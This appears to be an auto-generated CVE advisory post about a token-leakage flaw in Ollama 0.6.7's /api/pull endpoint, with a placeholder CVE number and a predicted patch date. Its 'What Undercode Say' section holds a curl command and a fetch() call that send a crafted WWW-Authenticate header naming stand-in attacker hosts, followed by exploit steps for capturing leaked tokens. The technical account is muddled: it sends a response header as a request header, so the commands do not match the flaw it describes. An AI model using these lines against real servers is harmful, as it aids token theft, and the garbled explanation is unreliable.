Ollama, Cross-Domain Token Exposure, CVE-2025-XXXX (Moderate)

Listen to this Post

How the CVE Works

The vulnerability (CVE-2025-XXXX) in Ollama 0.6.7 occurs when the `/api/pull` endpoint processes a malicious `WWW-Authenticate` header containing a crafted `realm` value. The `server.auth.getAuthorizationToken` function improperly validates this input, allowing attackers to inject arbitrary domains. This leads to authentication token leakage when the server generates authorization responses. Attackers can exploit this by tricking victims into interacting with a malicious realm, capturing their tokens via cross-domain requests, and subsequently bypassing access controls. The flaw stems from insufficient sanitization of the `realm` parameter during header construction.

DailyCVE Form

Platform: Ollama
Version: 0.6.7
Vulnerability: Token leakage
Severity: Moderate
Date: 2025-07-22

Prediction: Patch by 2025-08-05

What Undercode Say

curl -H "WWW-Authenticate: Basic realm='https://malicious.com'" http://ollama-host/api/pull
fetch("http://ollama-host/api/pull", {
headers: { "WWW-Authenticate": "Basic realm='https://attacker.net'" }
});

How Exploit

1. Craft malicious `realm` domain

2. Trigger `/api/pull` with poisoned header

3. Intercept leaked tokens via cross-domain requests

Protection from this CVE

  • Update to patched version
  • Sanitize `realm` values
  • Implement CORS restrictions

Impact

  • Unauthorized access
  • Token hijacking
  • Privilege escalation

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top